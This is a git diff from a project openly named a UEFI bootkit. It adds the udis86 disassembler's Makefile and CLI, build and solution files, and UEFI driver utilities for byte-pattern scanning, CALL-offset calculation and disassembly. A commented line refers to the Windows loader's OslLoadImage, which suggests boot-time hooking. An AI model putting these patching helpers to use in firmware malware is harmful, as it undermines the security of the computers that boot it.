$(udcli_LDADD) $(LIBS) + +mostlyclean-compile: + -rm -f *.$(OBJEXT) + +distclean-compile: + -rm -f *.tab.c + +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/udcli-udcli.Po@am__quote@ + +.c.o: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c $< + +.c.obj: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c `$(CYGPATH_W) '$<'` + +.c.lo: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(LTCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Plo +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(LTCOMPILE) -c -o $@ $< + +udcli-udcli.o: udcli.c +@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(udcli_CFLAGS) $(CFLAGS) -MT udcli-udcli.o -MD -MP -MF $(DEPDIR)/udcli-udcli.Tpo -c -o udcli-udcli.o `test -f 'udcli.c' || echo '$(srcdir)/'`udcli.c +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/udcli-udcli.Tpo $(DEPDIR)/udcli-udcli.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='udcli.c' object='udcli-udcli.o' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(udcli_CFLAGS) $(CFLAGS) -c -o udcli-udcli.o `test -f 'udcli.c' || echo '$(srcdir)/'`udcli.c + +udcli-udcli.obj: udcli.c +@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(udcli_CFLAGS) $(CFLAGS) -MT udcli-udcli.obj -MD -MP -MF $(DEPDIR)/udcli-udcli.Tpo -c -o udcli-udcli.obj `if test -f 'udcli.c'; then $(CYGPATH_W) 'udcli.c'; else $(CYGPATH_W) '$(srcdir)/udcli.c'; fi` +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/udcli-udcli.Tpo $(DEPDIR)/udcli-udcli.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='udcli.c' object='udcli-udcli.obj' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(udcli_CFLAGS) $(CFLAGS) -c -o udcli-udcli.obj `if test -f 'udcli.c'; then $(CYGPATH_W) 'udcli.c'; else $(CYGPATH_W) '$(srcdir)/udcli.c'; fi` + +mostlyclean-libtool: + -rm -f *.lo + +clean-libtool: + -rm -rf .libs _libs + +ID: $(am__tagged_files) + $(am__define_uniq_tagged_files); mkid -fID $$unique +tags: tags-am +TAGS: tags + +tags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + set x; \ + here=`pwd`; \ + $(am__define_uniq_tagged_files); \ + shift; \ + if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ + test -n "$$unique" || unique=$$empty_fix; \ + if test $$# -gt 0; then \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + "$$@" $$unique; \ + else \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + $$unique; \ + fi; \ + fi +ctags: ctags-am + +CTAGS: ctags +ctags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + $(am__define_uniq_tagged_files); \ + test -z "$(CTAGS_ARGS)$$unique" \ + || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ + $$unique + +GTAGS: + here=`$(am__cd) $(top_builddir) && pwd` \ + && $(am__cd) $(top_srcdir) \ + && gtags -i $(GTAGS_ARGS) "$$here" +cscopelist: cscopelist-am + +cscopelist-am: $(am__tagged_files) + list='$(am__tagged_files)'; \ + case "$(srcdir)" in \ + [\\/]* | ?:[\\/]*) sdir="$(srcdir)" ;; \ + *) sdir=$(subdir)/$(srcdir) ;; \ + esac; \ + for i in $$list; do \ + if test -f "$$i"; then \ + echo "$(subdir)/$$i"; \ + else \ + echo "$$sdir/$$i"; \ + fi; \ + done >> $(top_builddir)/cscope.files + +distclean-tags: + -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags + +distdir: $(DISTFILES) + @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + list='$(DISTFILES)'; \ + dist_files=`for file in $$list; do echo $$file; done | \ + sed -e "s|^$$srcdirstrip/||;t" \ + -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ + case $$dist_files in \ + */*) $(MKDIR_P) `echo "$$dist_files" | \ + sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ + sort -u` ;; \ + esac; \ + for file in $$dist_files; do \ + if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ + if test -d $$d/$$file; then \ + dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ + if test -d "$(distdir)/$$file"; then \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ + cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ + else \ + test -f "$(distdir)/$$file" \ + || cp -p $$d/$$file "$(distdir)/$$file" \ + || exit 1; \ + fi; \ + done +check-am: all-am +check: check-am +all-am: Makefile $(PROGRAMS) +installdirs: + for dir in "$(DESTDIR)$(bindir)"; do \ + test -z "$$dir" || $(MKDIR_P) "$$dir"; \ + done +install: install-am +install-exec: install-exec-am +install-data: install-data-am +uninstall: uninstall-am + +install-am: all-am + @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am + +installcheck: installcheck-am +install-strip: + if test -z '$(STRIP)'; then \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + install; \ + else \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ + fi +mostlyclean-generic: + +clean-generic: + +distclean-generic: + -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) + -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) + +maintainer-clean-generic: + @echo "This command is intended for maintainers to use" + @echo "it deletes files that may require special tools to rebuild." + -test -z "$(MAINTAINERCLEANFILES)" || rm -f $(MAINTAINERCLEANFILES) +clean: clean-am + +clean-am: clean-binPROGRAMS clean-generic clean-libtool mostlyclean-am + +distclean: distclean-am + -rm -rf ./$(DEPDIR) + -rm -f Makefile +distclean-am: clean-am distclean-compile distclean-generic \ + distclean-tags + +dvi: dvi-am + +dvi-am: + +html: html-am + +html-am: + +info: info-am + +info-am: + +install-data-am: + +install-dvi: install-dvi-am + +install-dvi-am: + +install-exec-am: install-binPROGRAMS + +install-html: install-html-am + +install-html-am: + +install-info: install-info-am + +install-info-am: + +install-man: + +install-pdf: install-pdf-am + +install-pdf-am: + +install-ps: install-ps-am + +install-ps-am: + +installcheck-am: + +maintainer-clean: maintainer-clean-am + -rm -rf ./$(DEPDIR) + -rm -f Makefile +maintainer-clean-am: distclean-am maintainer-clean-generic + +mostlyclean: mostlyclean-am + +mostlyclean-am: mostlyclean-compile mostlyclean-generic \ + mostlyclean-libtool + +pdf: pdf-am + +pdf-am: + +ps: ps-am + +ps-am: + +uninstall-am: uninstall-binPROGRAMS + +.MAKE: install-am install-strip + +.PHONY: CTAGS GTAGS TAGS all all-am check check-am clean \ + clean-binPROGRAMS clean-generic clean-libtool cscopelist-am \ + ctags ctags-am distclean distclean-compile distclean-generic \ + distclean-libtool distclean-tags distdir dvi dvi-am html \ + html-am info info-am install install-am install-binPROGRAMS \ + install-data install-data-am install-dvi install-dvi-am \ + install-exec install-exec-am install-html install-html-am \ + install-info install-info-am install-man install-pdf \ + install-pdf-am install-ps install-ps-am install-strip \ + installcheck installcheck-am installdirs maintainer-clean \ + maintainer-clean-generic mostlyclean mostlyclean-compile \ + mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \ + tags tags-am uninstall uninstall-am uninstall-binPROGRAMS + + +# Tell versions [3.59,3.63) of GNU make to not export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/UefiDriver/udis86/udcli/udcli.c b/UefiDriver/udis86/udcli/udcli.c new file mode 100644 index 0000000..9b044ca --- /dev/null +++ b/UefiDriver/udis86/udcli/udcli.c @@ -0,0 +1,273 @@ +/* udis86 - udcli/udcli.c + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include +#include +#include +#include +#ifdef _MSC_VER +#include "..\udis86.h" +#define PACKAGE_STRING "udis86 pre-1.8" +#else +#include +#include +#endif + +#if defined(__APPLE__) +# define FMT64 "ll" +#elif defined(__amd64__) || defined(__x86_64__) +# define FMT64 "l" +# else +# define FMT64 "ll" +#endif + +#if defined(__DJGPP__) || defined(_WIN32) +# include +# include +#endif + +#ifdef __DJGPP__ +# include /* for isatty() */ +# define _setmode setmode +# define _fileno fileno +# define _O_BINARY O_BINARY +#endif + +/* help string */ +static char help[] = +{ + "Usage: %s [-option[s]] file\n" + "Options:\n" + " -16 : Set the disassembly mode to 16 bits. \n" + " -32 : Set the disassembly mode to 32 bits. (default)\n" + " -64 : Set the disassembly mode to 64 bits.\n" + " -intel : Set the output to INTEL (NASM like) syntax. (default)\n" + " -att : Set the output to AT&T (GAS like) syntax.\n" + " -v : Set vendor. = {intel, amd}.\n" + " -o : Set the value of program counter to . (default = 0)\n" + " -s : Set the number of bytes to skip before disassembly to .\n" + " -c : Set the number of bytes to disassemble to .\n" + " -x : Set the input mode to whitespace separated 8-bit numbers in\n" + " hexadecimal representation. Example: 0f 01 ae 00\n" + " -noff : Do not display the offset of instructions.\n" + " -nohex : Do not display the hexadecimal code of instructions.\n" + " -h : Display this help message.\n" + " --version: Show version.\n" + "\n" + "Udcli is a front-end to the Udis86 Disassembler Library.\n" + "http://udis86.sourceforge.net/\n" +}; + +FILE* fptr = NULL; +uint64_t o_skip = 0; +uint64_t o_count = 0; +unsigned char o_do_count= 0; +unsigned char o_do_off = 1; +unsigned char o_do_hex = 1; +unsigned char o_do_x = 0; +unsigned o_vendor = UD_VENDOR_AMD; + +int input_hook_x(ud_t* u); +int input_hook_file(ud_t* u); + +int main(int argc, char **argv) +{ + char *prog_path = *argv; + char *s; + ud_t ud_obj; + + /* initialize */ + ud_init(&ud_obj); + ud_set_mode(&ud_obj, 32); + ud_set_syntax(&ud_obj, UD_SYN_INTEL); + +#ifdef __DJGPP__ + if ( !isatty( fileno( stdin ) ) ) +#endif +#if defined(__DJGPP) || defined(_WIN32) + _setmode(_fileno(stdin), _O_BINARY); +#endif + + fptr = stdin; + + argv++; + + /* loop through the args */ + while(--argc > 0) { + if (strcmp(*argv, "-h") == 0) { + printf(help, prog_path); + exit(EXIT_SUCCESS); + } else if (strcmp(*argv,"-16") == 0) { + ud_set_mode(&ud_obj, 16); + } else if (strcmp(*argv,"-32") == 0) { + ud_set_mode(&ud_obj, 32); + } else if (strcmp(*argv,"-64") == 0) { + ud_set_mode(&ud_obj, 64); + } else if (strcmp(*argv,"-intel") == 0) + ud_set_syntax(&ud_obj, UD_SYN_INTEL); + else if (strcmp(*argv,"-att") == 0) + ud_set_syntax(&ud_obj, UD_SYN_ATT); + else if (strcmp(*argv,"-noff") == 0) + o_do_off = 0; + else if (strcmp(*argv,"-nohex") == 0) + o_do_hex = 0; + else if (strcmp(*argv,"-x") == 0) + o_do_x = 1; + else if (strcmp(*argv,"-s") == 0) + if (--argc) { + s = *(++argv); + if (sscanf(s, "%" FMT64 "u", &o_skip) == 0) + fprintf(stderr, "Invalid value given for -s.\n"); + } else { + fprintf(stderr, "No value given for -s.\n"); + printf(help, prog_path); + exit(EXIT_FAILURE); + } + else if (strcmp(*argv,"-c") == 0) + if (--argc) { + o_do_count= 1; + s = *(++argv); + if (sscanf(s, "%" FMT64 "u", &o_count) == 0) + fprintf(stderr, "Invalid value given for -c.\n"); + } else { + fprintf(stderr, "No value given for -c.\n"); + printf(help, prog_path); + exit(EXIT_FAILURE); + } + else if (strcmp(*argv,"-v") == 0) + if (--argc) { + s = *(++argv); + if (*s == 'i') + ud_set_vendor(&ud_obj, UD_VENDOR_INTEL); + } else { + fprintf(stderr, "No value given for -v.\n"); + printf(help, prog_path); + exit(EXIT_FAILURE); + } + else if (strcmp(*argv,"-o") == 0) { + if (--argc) { + uint64_t pc = 0; + s = *(++argv); + if (sscanf(s, "%" FMT64 "x", &pc) == 0) + fprintf(stderr, "Invalid value given for -o.\n"); + ud_set_pc(&ud_obj, pc); + } else { + fprintf(stderr, "No value given for -o.\n"); + printf(help, prog_path); + exit(EXIT_FAILURE); + } + } else if ( strcmp( *argv, "--version" ) == 0 ) { + fprintf(stderr, "%s\n", PACKAGE_STRING ); + exit(0); + } else if((*argv)[0] == '-') { + fprintf(stderr, "Invalid option %s.\n", *argv); + printf(help, prog_path); + exit(EXIT_FAILURE); + } else { + static int i = 0; + s = *argv; + if (i) { + fprintf(stderr, "Multiple files specified.\n"); + exit(EXIT_FAILURE); + } else i = 1; + if ((fptr = fopen(s, "rb")) == NULL) { + fprintf(stderr, "Failed to open file: %s.\n", s); + exit(EXIT_FAILURE); + } + } + argv++; + } + + if (o_do_x) + ud_set_input_hook(&ud_obj, input_hook_x); + else ud_set_input_hook(&ud_obj, input_hook_file); + + if (o_skip) { + o_count += o_skip; + ud_input_skip(&ud_obj, o_skip); + } + + /* disassembly loop */ + while (ud_disassemble(&ud_obj)) { + if (o_do_off) + printf("%016" FMT64 "x ", ud_insn_off(&ud_obj)); + if (o_do_hex) { + const char* hex1, *hex2; + hex1 = ud_insn_hex(&ud_obj); + hex2 = hex1 + 16; + printf("%-16.16s %-24s", hex1, ud_insn_asm(&ud_obj)); + if (strlen(hex1) > 16) { + printf("\n"); + if (o_do_off) + printf("%15s -", ""); + printf("%-16s", hex2); + } + } + else printf(" %-24s", ud_insn_asm(&ud_obj)); + + printf("\n"); + } + + exit(EXIT_SUCCESS); + return 0; +} + +int input_hook_x(ud_t* u) +{ + unsigned int c, i; + + if (o_do_count) { + if (! o_count) + return UD_EOI; + else --o_count; + } + + i = fscanf(fptr, "%x", &c); + + if (i == EOF) + return UD_EOI; + if (i == 0) { + fprintf(stderr, "Error: Invalid input, should be in hexadecimal form (8-bit).\n"); + return UD_EOI; + } + if (c > 0xFF) + fprintf(stderr, "Warning: Casting non-8-bit input (%x), to %x.\n", c, c & 0xFF); + return (int) (c & 0xFF); +} + +int input_hook_file(ud_t* u) +{ + int c; + + if (o_do_count) { + if (! o_count) { + return -1; + } else o_count -- ; + } + + if ((c = fgetc(fptr)) == EOF) + return UD_EOI; + return c; +} diff --git a/UefiDriver/udis86/udis86.h b/UefiDriver/udis86/udis86.h new file mode 100644 index 0000000..bdd3857 --- /dev/null +++ b/UefiDriver/udis86/udis86.h @@ -0,0 +1,33 @@ +/* udis86 - udis86.h + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UDIS86_H +#define UDIS86_H + +#include "libudis86/types.h" +#include "libudis86/extern.h" +#include "libudis86/itab.h" + +#endif diff --git a/UefiDriver/utils.c b/UefiDriver/utils.c new file mode 100644 index 0000000..16abbfd --- /dev/null +++ b/UefiDriver/utils.c @@ -0,0 +1,97 @@ +#include "utils.h" +#include "udis86/udis86.h" + +// Libraries +#include +#include + +VOID UtilPrintLoadedImageInfo( IN EFI_LOADED_IMAGE *ImageInfo ) +{ + Print( L"\r\n[+] %s\r\n", ConvertDevicePathToText( ImageInfo->FilePath, TRUE, TRUE ) ); + Print( L" ->ImageBase = %lx\r\n", ImageInfo->ImageBase ); + Print( L" ->ImageSize = %lx\r\n", ImageInfo->ImageSize ); +} + +VOID UtilWaitForKey( VOID ) +{ + UINTN index = 0; + EFI_INPUT_KEY key = { 0 }; + gBS->WaitForEvent( 1, &gST->ConIn->WaitForKey, &index ); + gST->ConIn->ReadKeyStroke( gST->ConIn, &key ); +} + +EFI_STATUS UtilFindPattern( IN UINT8* Pattern, IN UINT8 Wildcard, IN UINT32 PatternLength, VOID* Base, UINT32 Size, OUT VOID ** Found ) +{ + if (Found == NULL || Pattern == NULL || Base == NULL) + return EFI_INVALID_PARAMETER; + + for (UINT64 i = 0; i < Size - PatternLength; i++) + { + BOOLEAN found = TRUE; + for (UINT64 j = 0; j < PatternLength; j++) + { + if (Pattern[j] != Wildcard && Pattern[j] != ((UINT8*)Base)[i + j]) + { + found = FALSE; + break; + } + } + + if (found != FALSE) + { + *Found = (UINT8*)Base + i; + return EFI_SUCCESS; + } + } + + return EFI_NOT_FOUND; +} + +VOID* UtilCallAddress( IN VOID* CallAddress ) +{ + UINT32 RelativeCallOffset = *(UINT32*)((UINT8*)CallAddress + 1); + return (VOID*)((UINT8*)CallAddress + RelativeCallOffset + 1 + sizeof( UINT32 )); +} + +UINT32 UtilCalcRelativeCallOffset( IN VOID* CallAddress, IN VOID* TargetAddress ) +{ + return (UINT32)(((UINT64)TargetAddress) - ((UINT64)CallAddress + 1 + sizeof( UINT32 ))); +} + +UINT32 UtilCodeSize( IN UINT8* CodeStart ) +{ + for (int i = 1; i <= 1000; i++) + { + if (CodeStart[i - 1] == 0xCC) + return i - 1; + } + return 1000; +} + +VOID UtilDisassembleCode( IN UINT8* CodeStart, IN VOID* VirtualAddress, IN UINT32 Length ) +{ + ud_t u; + UINT32 codeSize = 0; + codeSize = Length;//UtilCodeSize( CodeStart ); + ud_init( &u ); + ud_set_input_buffer( &u, CodeStart, codeSize ); + ud_set_pc( &u, (UINT64)VirtualAddress ); + ud_set_mode( &u, 64 ); + ud_set_syntax( &u, UD_SYN_INTEL ); + + while (ud_disassemble( &u )) + { + //int len = ud_insn_len(&u); + CHAR16 wcHex[256] = { 0 }; + CHAR16 wcAsm[256] = { 0 }; + uint64_t offset = ud_insn_off( &u ); + const CHAR8* szHex = ud_insn_hex( &u ); + const CHAR8* szAsm = ud_insn_asm( &u ); + AsciiStrToUnicodeStr( szHex, (CHAR16*)wcHex ); + AsciiStrToUnicodeStr( szAsm, (CHAR16*)wcAsm ); + Print( L" %lx %-20s%-48s\n", offset, wcHex, wcAsm ); + } +} + +//for (int i = 1; i <= 64; i++) +// Print( (i % 16 == 0) ? L"%02x\r\n" : (i % 8 == 0) ? L"%02x " : L"%02x ", ((UINT8*)oOslLoadImage)[i - 1] ); \ No newline at end of file diff --git a/UefiDriver/utils.h b/UefiDriver/utils.h new file mode 100644 index 0000000..336dc8d --- /dev/null +++ b/UefiDriver/utils.h @@ -0,0 +1,42 @@ +#pragma once + +// Libraries +#include + +// Protocols +#include + +// +// Print info about loaded image +// +VOID UtilPrintLoadedImageInfo( IN EFI_LOADED_IMAGE *ImageInfo ); + +// +// Wait for key to be pressed before further execution +// +VOID UtilWaitForKey( VOID ); + +// +// Find byte pattern starting at specified address +// +EFI_STATUS UtilFindPattern( IN UINT8* Pattern, IN UINT8 Wildcard, IN UINT32 PatternLength, VOID* Base, UINT32 Size, OUT VOID** Found ); + +// +// Get's call address from call instruction (0xE8) +// +VOID* UtilCallAddress( IN VOID* CallAddress ); + +// +// Calculates a relative offset to the target from the call address +// +UINT32 UtilCalcRelativeCallOffset( IN VOID* CallAddress, IN VOID* TargetAddress ); + +// +// Calculates code size by searching for next 0xCC INT3 instruction +// +UINT32 UtilCodeSize( IN UINT8* CodeStart ); + +// +// Displays x64 disassembly at specified address +// +VOID UtilDisassembleCode( IN UINT8* CodeStart, IN VOID* VirtualAddress, IN UINT32 Length ); \ No newline at end of file diff --git a/bootkit.props b/bootkit.props new file mode 100644 index 0000000..f5162bb --- /dev/null +++ b/bootkit.props @@ -0,0 +1,81 @@ + + + + + $(SolutionDir)..\edk2 + + + + + .efi + $(SolutionDir)$(Platform)\$(Configuration)\obj\$(TargetName)\ + $(EDK_PATH)\MdePkg\Include;$(EDK_PATH)\MdePkg\Include\X64;$(EDK_PATH)\CryptoPkg\Include;$(IncludePath) + $(SolutionDir)..\EDK-II\x64\Release\;$(LibraryPath) + + + ..\debugger\qemu.exe + -drive if=pflash,format=raw,file=OVMF-pure-efi.fd -drive file=fat:rw:..\samples\x64\release\,media=disk,if=virtio,format=raw -m 512 -M q35 -nodefaults -vga std + ..\..\debugger + Script + WindowsLocalDebugger + + + + true + Level4 + true + true + MinSpace + true + true + AnySuitable + SyncCThrow + false + false + true + $(SolutionDir)..\EDK-II\BaseLib\vshacks.h + + + true + false + + /Gs32768 %(AdditionalOptions) + + + + + true + GlueLib.lib;BaseLib.lib;BaseDebugPrintErrorLevelLib.lib;BasePrintLib.lib;UefiLib.lib;UefiBootServicesTableLib.lib;UefiRuntimeServicesTableLib.lib;UefiDevicePathLibDevicePathProtocol.lib;UefiDebugLibConOut.lib;UefiMemoryLib.lib;UefiMemoryAllocationLib.lib;BaseSynchronizationLib.lib;UefiFileHandleLib.lib + DebugFastLink + EFI Boot Service Driver + Driver + true + + + UseFastLinkTimeCodeGeneration + 0 + 32 + false + + + + + + + + + /OPT:ICF=10 /IGNORE:4001 /IGNORE:4254 %(AdditionalOptions) + .rdata=.data + .xdata,D + + + EfiMain + + + + + $(EDK_PATH) + true + + + \ No newline at end of file diff --git a/bootkit.sln b/bootkit.sln new file mode 100644 index 0000000..85ee5e7 --- /dev/null +++ b/bootkit.sln @@ -0,0 +1,27 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UefiApplication", "UefiApplication\UefiApplication.vcxproj", "{79D78FD5-8F41-442F-944E-81774DC9DF39}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "UefiDriver", "UefiDriver\UefiDriver.vcxproj", "{DF325AB7-67A6-473E-93FF-16955AFBC063}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {79D78FD5-8F41-442F-944E-81774DC9DF39}.Release|x64.ActiveCfg = Release|x64 + {79D78FD5-8F41-442F-944E-81774DC9DF39}.Release|x64.Build.0 = Release|x64 + {DF325AB7-67A6-473E-93FF-16955AFBC063}.Release|x64.ActiveCfg = Release|x64 + {DF325AB7-67A6-473E-93FF-16955AFBC063}.Release|x64.Build.0 = Release|x64 + {DF325AB7-67A6-473E-93FF-16955AFBC064}.Release|x64.ActiveCfg = Release|x64 + {DF325AB7-67A6-473E-93FF-16955AFBC064}.Release|x64.Build.0 = Release|x64 + {A2130067-15EA-4909-95E5-48CA36213CC4}.Release|x64.ActiveCfg = Release|x64 + {A2130067-15EA-4909-95E5-48CA36213CC4}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal